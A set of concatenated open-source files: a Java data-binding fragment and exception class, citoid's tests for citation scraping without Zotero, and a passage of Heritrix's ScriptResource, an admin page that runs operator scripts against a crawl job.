type; } protected Object outputToPayload(Object outputValue) { Type type = getType(); if (isEnum(type)) { return ((Enum<?>) outputValue).name(); } else { return outputValue; } } @SuppressWarnings({ "unchecked", "rawtypes" }) protected Object payloadToInput(Object payload) { Type type = getType(); if (isEnum(type)) { Class<? extends Enum> enumClass = (Class<? extends Enum>) type; return Enum.valueOf(enumClass, (String) payload); } return payload; } public boolean isEnum() { return isEnum(getType()); } public static boolean isEnum(Type type) { return (type instanceof Class<?>) && ((Class<?>) type).isEnum(); } public void setDescription(D description) { this.description = Objects.requireNonNull(description); } public D getDescription() { return description; } }
52North/javaPS
engine/src/main/java/org/n52/javaps/algorithm/annotation/AbstractDataBinding.java
Java
apache-2.0
2,570
package ch.ice.exceptions; public class FileParserNotAvailableException extends Exception { private static final long serialVersionUID = 3039694748225707627L; public FileParserNotAvailableException() {} public FileParserNotAvailableException(String message){ super(message); } }
LuzernWGProjects/Schurter
WebCrawler/src/ch/ice/exceptions/FileParserNotAvailableException.java
Java
apache-2.0
290
'use strict'; /** * Tests for when Zotero is down/inaccessible */ const assert = require('../../utils/assert.js'); const Server = require('../../utils/server.js'); describe('Zotero service down or disabled:', function () { describe('unreachable', function () { this.timeout(20000); const server = new Server(); // Give Zotero port which is it is not running from- // Mimics Zotero being down. before(() => server.start({ zoteroPort: 1971 })); after(() => server.stop()); // PMID on NIH website that is not found in the id converter api // This will fail when Zotero is disabled because we no longer directly scrape pubMed central URLs, // as they have blocked our UA in the past. it('PMID not in doi id converter api', function () { const pmid = '14656957'; return server.query(pmid, 'mediawiki', 'en') .then(function (res) { assert.status(res, 404); }, function (err) { assert.checkError(err, 404); // Exact error may differ as may be interpreted as pmcid or pmid }); }); // PMID on NIH website that is found in the id converter api- should convert to DOI // Uses three sources, crossref, pubmed and citoid it('PMCID present in doi id converter api', function () { return server.query('PMC3605911').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Viral Phylodynamics'); assert.deepEqual(res.body[0].url, 'https://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1002947'); assert.isInArray(res.body[0].source, 'Crossref'); assert.isInArray(res.body[0].source, 'PubMed'); assert.deepEqual(res.body[0].PMCID, 'PMC3605911'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Should contain ISSN'); // From highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); // JSTOR page, uses crossRef it('JSTOR page', function () { return server.query('http://www.jstor.org/discover/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Flight Feather Moult in the Red-Necked Nightjar Caprimulgus ruficollis'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Should contain ISSN'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Article with doi within DublinCore metadata + highwire data', function () { return server.query('http://www.sciencemag.org/content/303/5656/387.short').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Multiple Ebola Virus Transmission Events and Rapid Decline of Central African Wildlife'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].date, '2004-01-16'); // Field uses highwire data with bePress translator assert.deepEqual(res.body[0].DOI, '10.1126/science.1092528'); // DOI from DC metadata assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('doi spage and epage fields in crossRef coins data', function () { return server.query('http://doi.org/10.1002/jlac.18571010113').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Ueber einige Derivate des Naphtylamins'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].pages, '90–93', 'Missing pages'); // Uses en dash assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('successfully uses highwire press metadata', function () { return server.query('http://mic.microbiologyresearch.org/content/journal/micro/10.1099/mic.0.082289-0').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Resistance to bacteriocins produced by Gram-positive bacteria'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Missing ISSN'); // Comes from highwire assert.deepEqual(res.body[0].author.length, 3, 'Should have 3 authors'); assert.deepEqual(res.body[0].pages, '683–700', 'Incorrect or missing pages'); // Comes from crossRef assert.deepEqual(res.body[0].date, '2015-04-01', 'Incorrect or missing date'); // Comes from highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('successfully uses bepress press metadata alone', function () { return server.query('http://uknowledge.uky.edu/upk_african_history/1/').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'South Africa and the World: The Foreign Policy of Apartheid'); assert.deepEqual(res.body[0].author.length, 1, 'Should have 1 author'); assert.deepEqual(res.body[0].date, '1970', 'Incorrect or missing date'); // Comes from highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); // Actually is a book but no way to tell from metadata :( }); }); it('Dead url with correct doi', function () { return server.query('http://mic.sgmjournals.org/content/journal/micro/10.1099/mic.0.26954-0').then(function (res) { assert.status(res, 200); assert.isInArray(res.body[0].source, 'Crossref'); assert.checkCitation(res, 'Increased transcription rates correlate with increased reversion rates in leuB and argH Escherichia coli auxotrophs'); // Title from crossRef assert.deepEqual(res.body[0].date, '2004-05-01'); assert.deepEqual(res.body[0].DOI, '10.1099/mic.0.26954-0'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Get error for bibtex export', function () { return server.query('http://www.example.com', 'bibtex', 'en') .then(function (res) { assert.status(res, 404); }, function (err) { assert.deepEqual(err.body.Error, 'Unable to serve bibtex format at this time'); assert.status(err, 404); // assert.checkError(err, 404, 'Unable to serve bibtex format at this time'); }); }); it('requires cookie handling', function () { return server.query('www.jstor.org/discover/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].accessDate, true, 'No accessDate present'); }); }); // Ensure DOI is present in non-zotero scraped page where scraping fails it('DOI pointing to resource that can\'t be scraped - uses crossRef', function () { return server.query('10.1038/scientificamerican0200-90') .then(function (res) { assert.status(res, 200); assert.checkCitation(res); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].author, true, 'Missing authors'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].websiteTitle, undefined, 'Unexpected field websiteTitle'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); // Ensure DOI is present in non-zotero scraped page when request from DOI link it('dx.DOI link - uses crossRef', function () { return server.query('http://dx.DOI.org/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Flight Feather Moult in the Red-Necked Nightjar Caprimulgus ruficollis'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].author, true, 'Missing authors'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].websiteTitle, undefined, 'Unexpected field websiteTitle'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Case sensitive DOI with 5 digit registrant code and unknown genre in crossRef', function () { return server.query('10.14344/IOC.ML.4.4').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'IOC World Bird List 4.4'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); }); }); it('gets date from crossRef REST API', function () { return server.query('10.1016/S0305-0491(98)00022-4').then(function (res) { // Not sending the correct link to zotero - investigate assert.status(res, 200); assert.checkCitation(res, 'Energetics and biomechanics of locomotion by red kangaroos (Macropus rufus)'); assert.deepEqual(res.body[0].date, '1998-05'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'journalArticle'); }); }); it('gets editors from crossRef REST API for book-tract type', function () { return server.query('10.1017/isbn-9780511132971.eh1-7').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Population of the slave states, by state, race, and slave status: 1860-1870'); assert.deepEqual(!!res.body[0].date, false); // null date in crossRef assert.deepEqual(!!res.body[0].editor, true); // Has editors assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'bookSection'); }); }); it('gets proceedings from crossRef REST API', function () { return server.query('10.4271/2015-01-0821').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Simulating a Complete Performance Map of an Ethanol-Fueled Boosted HCCI Engine'); assert.deepEqual(res.body[0].date, '2015-04-14'); // null date in crossRef assert.deepEqual(!!res.body[0].author, true); // Has editors assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'conferencePaper'); }); }); // Prefer original url for using native scraper it('uses original url', function () { const url = 'http://www.google.com'; return server.query(url).then(function (res) { assert.checkCitation(res, 'Google'); assert.deepEqual(!!res.body[0].accessDate, true, 'No accessDate present'); assert.deepEqual(res.body[0].url, url); }); }); it('websiteTitle but no publicationTitle', function () { return server.query('http://blog.woorank.com/2013/04/dublin-core-metadata-for-seo-and-usability/').then(function (res) { assert.checkCitation(res); assert.deepEqual(!!res.body[0].accessDate, true, 'No accessDate present'); assert.deepEqual(!!res.body[0].websiteTitle, true, 'Missing websiteTitle field'); assert.deepEqual(res.body[0].publicationTitle, undefined, 'Invalid field publicationTitle'); }); }); it('dublinCore data with multiple identifiers in array', function () { return server.query('http://apps.who.int/iris/handle/10665/70863').then(function (res) { assert.checkCitation(res, 'Consensus document on the epidemiology of severe acute respiratory syndrome (SARS)'); assert.deepEqual(res.body[0].itemType, 'journalArticle'); assert.deepEqual(res.body[0].publisher, undefined); // TODO: Investigate why this is undefined assert.deepEqual(res.body[0].publicationTitle, undefined); // TODO: Investigate why this is undefined }); }); it('has page range in direct scrape', function () { return server.query('10.1017/s0305004100013554').then(function (res) { assert.checkCitation(res, 'Discussion of Probability Relations between Separated Systems'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].pages, '555–563', 'Wrong pages item; expected 555–563, got ' + res.body[0].pages); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); // Unable to scrape and ends up with crossRef data it('DOI with redirect - Wiley', function () { return server.query('10.1029/94WR00436').then(function (res) { assert.checkCitation(res, 'A distributed hydrology-vegetation model for complex terrain'); assert.deepEqual(res.body[0].publicationTitle, 'Water Resources Research', 'Incorrect publicationTitle; Expected "Water Resources Research", got' + res.body[0].publicationTitle); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); }); }); }); describe('disabled in conf', function () { const server = new Server(); this.timeout(40000); before(() => server.start({ zotero: false })); after(() => server.stop()); // PMID on NIH website that is not found in the id converter api // This will fail when Zotero is disabled because we no longer directly scrape pubMed central URLs, // as they have blocked our UA in the past. it('PMID not in doi id converter api', function () { const pmid = '14656957'; return server.query(pmid, 'mediawiki', 'en') .then(function (res) { assert.status(res, 404); }, function (err) { assert.checkError(err, 404); // Error may be for pmcid or pmid }); }); // PMID on NIH website that is found in the id converter api- should convert to DOI // Uses three sources, crossref, pubmed and citoid it('PMCID present in doi id converter api', function () { return server.query('PMC3605911').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Viral Phylodynamics'); assert.deepEqual(res.body[0].url, 'https://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1002947'); assert.isInArray(res.body[0].source, 'Crossref'); assert.isInArray(res.body[0].source, 'PubMed'); assert.deepEqual(res.body[0].PMCID, 'PMC3605911'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Should contain ISSN'); // From highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); // JSTOR page with tabs in natively scraped title it('JSTOR page with tabs in natively scraped title', function () { return server.query('http://www.jstor.org/discover/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Flight Feather Moult in the Red-Necked Nightjar Caprimulgus ruficollis'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Missing ISSN'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Article with doi within DublinCore metadata + highwire data', function () { return server.query('http://www.sciencemag.org/content/303/5656/387.short').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Multiple Ebola Virus Transmission Events and Rapid Decline of Central African Wildlife'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].date, '2004-01-16'); // Field uses highwire data with bePress translator assert.deepEqual(res.body[0].DOI, '10.1126/science.1092528'); // DOI from DC metadata assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('doi spage and epage fields in crossRef coins data', function () { return server.query('http://dx.doi.org/10.1002/jlac.18571010113').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Ueber einige Derivate des Naphtylamins'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].pages, '90–93', 'Missing pages'); // Uses en dash assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('successfully uses highwire press metadata', function () { return server.query('http://mic.microbiologyresearch.org/content/journal/micro/10.1099/mic.0.082289-0').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Resistance to bacteriocins produced by Gram-positive bacteria'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].ISSN, true, 'Missing ISSN'); // Comes from highwire assert.deepEqual(res.body[0].author.length, 3, 'Should have 3 authors'); assert.deepEqual(res.body[0].pages, '683–700', 'Incorrect or missing pages'); // Comes from crossRef assert.deepEqual(res.body[0].date, '2015-04-01', 'Incorrect or missing date'); // Comes from highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('successfully uses bepress press metadata alone', function () { return server.query('http://uknowledge.uky.edu/upk_african_history/1/').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'South Africa and the World: The Foreign Policy of Apartheid'); assert.deepEqual(res.body[0].author.length, 1, 'Should have 1 author'); assert.deepEqual(res.body[0].date, '1970', 'Incorrect or missing date'); // Comes from highwire assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); // Actually is a book but no way to tell from metadata :( }); }); it('Dead url with doi', function () { return server.query('http://mic.sgmjournals.org/content/journal/micro/10.1099/mic.0.26954-0').then(function (res) { assert.status(res, 200); assert.isInArray(res.body[0].source, 'Crossref'); assert.checkCitation(res, 'Increased transcription rates correlate with increased reversion rates in leuB and argH Escherichia coli auxotrophs'); // Title from crossRef assert.deepEqual(res.body[0].date, '2004-05-01'); assert.deepEqual(res.body[0].DOI, '10.1099/mic.0.26954-0'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Get error for bibtex export', function () { return server.query('http://www.example.com', 'bibtex', 'en') .then(function (res) { assert.status(res, 404); }, function (err) { assert.deepEqual(err.body.Error, 'Unable to serve bibtex format at this time'); assert.status(err, 404); // assert.checkError(err, 404, 'Unable to serve bibtex format at this time'); }); }); it('requires cookie handling', function () { return server.query('www.jstor.org/discover/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].accessDate, true, 'No accessDate present'); }); }); // Ensure DOI is present in non-zotero scraped page where scraping fails it('DOI pointing to resource that can\'t be scraped - uses crossRef', function () { return server.query('10.1038/scientificamerican0200-90') .then(function (res) { assert.status(res, 200); assert.checkCitation(res); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].author, true, 'Missing authors'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].websiteTitle, undefined, 'Unexpected field websiteTitle'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); // Ensure DOI is present in non-zotero scraped page when request from DOI link it('dx.DOI link - uses crossRef', function () { return server.query('http://dx.DOI.org/10.2307/3677029').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Flight Feather Moult in the Red-Necked Nightjar Caprimulgus ruficollis'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].author, true, 'Missing authors'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(res.body[0].websiteTitle, undefined, 'Unexpected field websiteTitle'); assert.deepEqual(res.body[0].itemType, 'journalArticle', 'Wrong itemType; expected journalArticle, got' + res.body[0].itemType); }); }); it('Case sensitive DOI with 5 digit registrant code and unknown genre in crossRef', function () { return server.query('10.14344/IOC.ML.4.4').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'IOC World Bird List 4.4'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); }); }); it('gets date from crossRef REST API', function () { return server.query('10.1016/S0305-0491(98)00022-4').then(function (res) { // Not sending the correct link to zotero - investigate assert.status(res, 200); assert.checkCitation(res, 'Energetics and biomechanics of locomotion by red kangaroos (Macropus rufus)'); assert.deepEqual(res.body[0].date, '1998-05'); assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'journalArticle'); }); }); it('gets editors from crossRef REST API for book-tract type', function () { return server.query('10.1017/isbn-9780511132971.eh1-7').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Population of the slave states, by state, race, and slave status: 1860-1870'); assert.deepEqual(!!res.body[0].date, false); // null date in crossRef assert.deepEqual(!!res.body[0].editor, true); // Has editors assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'bookSection'); }); }); it('gets proceedings from crossRef REST API', function () { return server.query('10.4271/2015-01-0821').then(function (res) { assert.status(res, 200); assert.checkCitation(res, 'Simulating a Complete Performance Map of an Ethanol-Fueled Boosted HCCI Engine'); assert.deepEqual(res.body[0].date, '2015-04-14'); // null date in crossRef assert.deepEqual(!!res.body[0].author, true); // Has editors assert.isInArray(res.body[0].source, 'Crossref'); assert.deepEqual(res.body[0].itemType, 'conferencePaper'); }); }); it('PMCID but no PMID', function () { return server.query('PMC2096233', 'mediawiki', 'en', 'true').then(function (res) { assert.status(res, 200); assert.deepEqual(!!res.body[0].PMCID, true, '2096233'); assert.deepEqual(res.body[0].PMID, undefined, 'PMID is null'); }); }); // Unable to scrape and ends up with crossRef data it('DOI with redirect - Wiley', function () { return server.query('10.1029/94WR00436').then(function (res) { assert.checkCitation(res, 'A distributed hydrology-vegetation model for complex terrain'); assert.deepEqual(res.body[0].publicationTitle, 'Water Resources Research', 'Incorrect publicationTitle; Expected "Water Resources Research", got' + res.body[0].publicationTitle); assert.deepEqual(!!res.body[0].DOI, true, 'Missing DOI'); assert.deepEqual(!!res.body[0].issue, true, 'Missing issue'); assert.deepEqual(!!res.body[0].volume, true, 'Missing volume'); }); }); }); });
wikimedia/citoid
test/features/scraping/no-zotero.js
JavaScript
apache-2.0
28,920
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.crawler.restlet; import java.io.IOException; import java.io.PrintWriter; import java.io.StringWriter; import java.io.Writer; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import org.apache.commons.lang.StringEscapeUtils; import org.apache.commons.lang.StringUtils; import org.archive.util.TextUtils; import org.restlet.Context; import org.restlet.data.CharacterSet; import org.restlet.data.Form; import org.restlet.data.MediaType; import org.restlet.data.Reference; import org.restlet.data.Request; import org.restlet.data.Response; import org.restlet.resource.Representation; import org.restlet.resource.ResourceException; import org.restlet.resource.Variant; import org.restlet.resource.WriterRepresentation; /** * Restlet Resource which runs an arbitrary script, which is supplied * with variables pointing to the job and appContext, from which all * other live crawl objects are reachable. * * Any JSR-223 script engine that's properly discoverable on the * classpath will be available from a drop-down selector. * * @contributor gojomo */ public class ScriptResource extends JobRelatedResource { static ScriptEngineManager MANAGER = new ScriptEngineManager(); // oddly, ordering is different each call to getEngineFactories, so cache static LinkedList<ScriptEngineFactory> FACTORIES = new LinkedList<ScriptEngineFactory>(); static { FACTORIES.addAll(MANAGER.getEngineFactories()); // Sort factories alphabetically so that they appear in the UI consistently Collections.sort(FACTORIES, new Comparator<ScriptEngineFactory>() { @Override public int compare(ScriptEngineFactory sef1, ScriptEngineFactory sef2) { return sef1.getEngineName().compareTo(sef2.getEngineName()); } }); } String script = ""; Exception ex = null; int linesExecuted = 0; String rawOutput = ""; String htmlOutput = ""; String chosenEngine = FACTORIES.isEmpty() ? "" : FACTORIES.getFirst().getNames().get(0); public ScriptResource(Context ctx, Request req, Response res) throws ResourceException { super(ctx, req, res); setModifiable(true); getVariants().add(new Variant(MediaType.TEXT_HTML)); getVariants().add(new Variant(MediaType.APPLICATION_XML)); } @Override public void acceptRepresentation(Representation entity) throws ResourceException { Form form = getRequest().getEntityAsForm(); chosenEngine = form.getFirstValue("engine"); script = form.getFirstValue("script"); if(StringUtils.isBlank(script)) { script=""; } ScriptEngine eng = MANAGER.getEngineByName(chosenEngine); StringWriter rawString = new StringWriter(); PrintWriter rawOut = new PrintWriter(rawString); eng.put("rawOut", rawOut); StringWriter htmlString = new StringWriter(); PrintWriter htmlOut = new PrintWriter(htmlString); eng.put("htmlOut", htmlOut); eng.put("job", cj); eng.put("appCtx", cj.getJobContext()); eng.put("scriptResource", this); try { eng.eval(script); linesExecuted = script.split("\r?\n").length; } catch (ScriptException e) { ex = e; } catch (RuntimeException e) { ex = e; } finally { rawOut.flush(); rawOutput = rawString.toString(); htmlOut.flush(); htmlOutput = htmlString.toString(); eng.put("rawOut", null); eng.put("htmlOut", null); eng.put("job", null); eng.put("appCtx", null); eng.put("scriptResource", null); } //TODO: log script, results somewhere; job log INFO? getResponse().setEntity(represent()); } public Representation represent(Variant variant) throws ResourceException { Representation representation; if (variant.getMediaType() == MediaType.APPLICATION_XML) { representation = new WriterRepresentation(MediaType.APPLICATION_XML) { public void write(Writer writer) throws IOException { XmlMarshaller.marshalDocument(writer,"script", makePresentableMap()); } }; } else { representation = new WriterRepresentation(MediaType.TEXT_HTML) { public void write(Writer writer) throws IOException { ScriptResource.this.writeHtml(writer); } }; } // TODO: remove if not necessary in future? representation.setCharacterSet(CharacterSet.UTF_8); return representation; } protected List<String> getAvailableActions() { List<String> actions = new LinkedList<String>(); actions.add("rescan"); actions.add("add"); actions.add("create"); return actions; } protected Collection<Map<String,String>> getAvailableScriptEngines() { List<Map<String,String>> engines = new LinkedList<Map<String,String>>(); for (ScriptEngineFactory f: FACTORIES) { Map<String,String> engine = new LinkedHashMap<String, String>(); engine.put("engine", f.getNames().get(0)); engine.put("language", f.getLanguageName()); engines.add(engine); } return engines; } protected Collection<Map<String,String>> getAvailableGlobalVariables() { List<Map<String,String>> vars = new LinkedList<Map<String,String>>(); Map<String,String> var; var = new LinkedHashMap<String,String>(); var.put("variable", "rawOut"); var.put("description", "a PrintWriter for arbitrary text output to this page"); vars.add(var); var = new LinkedHashMap<String,String>(); var.put("variable", "htmlOut"); var.put("description", "a PrintWriter for HTML output to this page"); vars.add(var); var = new LinkedHashMap<String,String>(); var.put("variable", "job"); var.put("description", "the current CrawlJob instance"); vars.add(var); var = new LinkedHashMap<String,String>(); var.put("variable", "appCtx"); var.put("description", "current job ApplicationContext, if any"); vars.add(var); var = new LinkedHashMap<String,String>(); var.put("variable", "scriptResource"); var.put("description", "the ScriptResource implementing this page, which offers utility methods"); vars.add(var); return vars; } /** * Constructs a nested Map data structure with the information represented * by this Resource. The result is particularly suitable for use with with * {@link XmlMarshaller}. * * @return the nested Map data structure */ protected LinkedHashMap<String,Object> makePresentableMap() { LinkedHashMap<String,Object> info = new LinkedHashMap<String,Object>(); String baseRef = getRequest().getResourceRef().getBaseRef().toString(); if(!baseRef.endsWith("/")) { baseRef += "/"; } Reference baseRefRef = new Reference(baseRef); info.put("crawlJobShortName", cj.getShortName()); info.put("crawlJobUrl", new Reference(baseRefRef, "..").getTargetRef()); info.put("availableScriptEngines", getAvailableScriptEngines()); info.put("availableGlobalVariables", getAvailableGlobalVariables()); if(linesExecuted>0) { info.put("linesExecuted", linesExecuted); } if(ex!=null) { info.put("exception", ex); } if(StringUtils.isNotBlank(rawOutput)) { info.put("rawOutput", rawOutput); } if(StringUtils.isNotBlank(htmlOutput)) { info.put("htmlOutput", htmlOutput); } return info; } protected void writeHtml(Writer writer) { String baseRef = getRequest().getResourceRef().getBaseRef().toString(); if (!baseRef.endsWith("/")) baseRef += "/"; PrintWriter pw = new PrintWriter(writer); pw.println("<!DOCTYPE html>"); pw.println("<html>"); pw.println("<head>"); pw.println("<title>Script in "+cj.getShortName()+"</title>"); pw.println("<link rel=\"stylesheet\" type=\"text/css\" href=\"" + getStylesheetRef() + "\">"); pw.println("<link rel='stylesheet' href='" + getStaticRef("codemirror/codemirror.css") + "'>"); pw.println("<link rel='stylesheet' href='" + getStaticRef("codemirror/util/dialog.css") + "'>"); pw.println("<script src='" + getStaticRef("codemirror/codemirror.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/mode/groovy.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/mode/clike.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/mode/javascript.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/util/dialog.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/util/searchcursor.js") + "'></script>"); pw.println("<script src='" + getStaticRef("codemirror/util/search.js") + "'></script>"); pw.println("</head>"); pw.println("<body>"); pw.println("<h1>Execute script for job <i><a href='/engine/job/" +TextUtils.urlEscape(cj.getShortName()) +"'>"+cj.getShortName()+"</a></i></h1>"); // output of previous script, if any if(linesExecuted>0) { pw.println("<span class='success'>"+linesExecuted+" lines executed</span>"); } if(ex!=null) { pw.println("<pre style='color:red; height:150px; overflow:auto'>"); ex.printStackTrace(pw); pw.println("</pre>"); } if(StringUtils.isNotBlank(htmlOutput)) { pw.println("<fieldset><legend>htmlOut</legend>"); pw.println(htmlOutput); pw.println("</fieldset>"); } if(StringUtils.isNotBlank(rawOutput)) { pw.println("<fieldset><legend>rawOut</legend><pre>"); pw.println(StringEscapeUtils.escapeHtml(rawOutput)); pw.println("</pre></fieldset>"); } pw.println("<form method='POST'>"); pw.println("<input type='submit' value='execute'>"); pw.println("<select name='engine' id='selectEngine'>");; for(ScriptEngineFactory f : FACTORIES) { String opt = f.getNames().get(0); pw.println("<option " +(opt.equals(chosenEngine)?" selected='selected' ":"") +"value='"+opt+"'>"+f.getLanguageName()+"</option>"); } pw.println("</select>"); pw.println("<textarea rows='20' style='width:100%' name=\'script\' id='editor'>"+script+"</textarea>"); pw.println("<input type='submit' value='execute'></input>"); pw.println("</form>"); pw.println( "The script will be executed in an engine preloaded " + "with (global) variables:\n<ul>\n" + "<li><code>rawOut</code>: a PrintWriter for arbitrary text output to this page</li>\n" + "<li><code>htmlOut</code>: a PrintWriter for HTML output to this page</li>\n" + "<li><code>job</code>: the current CrawlJob instance</li>\n" + "<li><code>appCtx</code>: current job ApplicationContext, if any</li>\n" + "<li><code>scriptResource</code>: the ScriptResource implementing this " + "page, which offers utility methods</li>\n" + "</ul>"); pw.println("<script>"); pw.println("var 